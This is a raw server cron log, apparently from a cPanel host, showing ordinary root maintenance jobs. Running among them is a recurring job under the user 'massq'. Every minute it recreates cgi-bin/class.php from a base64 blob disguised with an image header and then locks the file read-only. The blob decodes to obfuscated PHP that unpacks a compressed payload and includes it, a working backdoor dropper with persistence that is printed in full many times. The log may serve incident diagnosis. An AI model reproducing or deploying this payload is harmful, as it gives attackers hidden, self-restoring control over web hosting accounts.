Sep  7 20:17:01 server CROND[7473]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:18:01 server CROND[7891]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 20:18:01 server CROND[7893]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:18:01 server CROND[7892]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:19:01 server CROND[8269]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:19:01 server CROND[8270]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 20:19:01 server CROND[8271]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:20:01 server CROND[8774]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 20:20:01 server CROND[8775]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 20:20:01 server CROND[8781]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 20:20:01 server CROND[8785]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:20:01 server CROND[8784]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 20:20:01 server CROND[8787]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:20:01 server CROND[8786]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 20:20:01 server CROND[8793]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 20:20:01 server CROND[8794]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 20:21:01 server CROND[9640]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:21:01 server CROND[9641]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 20:21:01 server CROND[9642]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:22:01 server CROND[10008]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 20:22:01 server CROND[10009]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:22:01 server CROND[10010]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:23:01 server CROND[10437]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 20:23:01 server CROND[10436]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:23:01 server CROND[10438]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:24:01 server CROND[10813]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:24:01 server CROND[10814]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 20:24:01 server CROND[10815]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:25:01 server CROND[11349]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 20:25:01 server CROND[11350]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:25:01 server CROND[11352]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 20:25:01 server CROND[11355]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 20:25:01 server CROND[11353]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 20:25:01 server CROND[11356]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 20:25:01 server CROND[11358]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  7 20:25:01 server CROND[11354]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:26:01 server CROND[12196]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 20:26:01 server CROND[12197]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:26:01 server CROND[12195]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:27:01 server CROND[12586]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:27:01 server CROND[12588]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:27:01 server CROND[12587]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 20:27:01 server CROND[12589]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 20:28:01 server CROND[12955]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:28:01 server CROND[12956]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 20:28:01 server CROND[12957]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:29:01 server CROND[13343]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:29:01 server CROND[13344]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 20:29:01 server CROND[13345]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:30:01 server CROND[13824]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 20:30:01 server CROND[13830]: (root) CMD (/usr/lib64/sa/sa1 1 1)
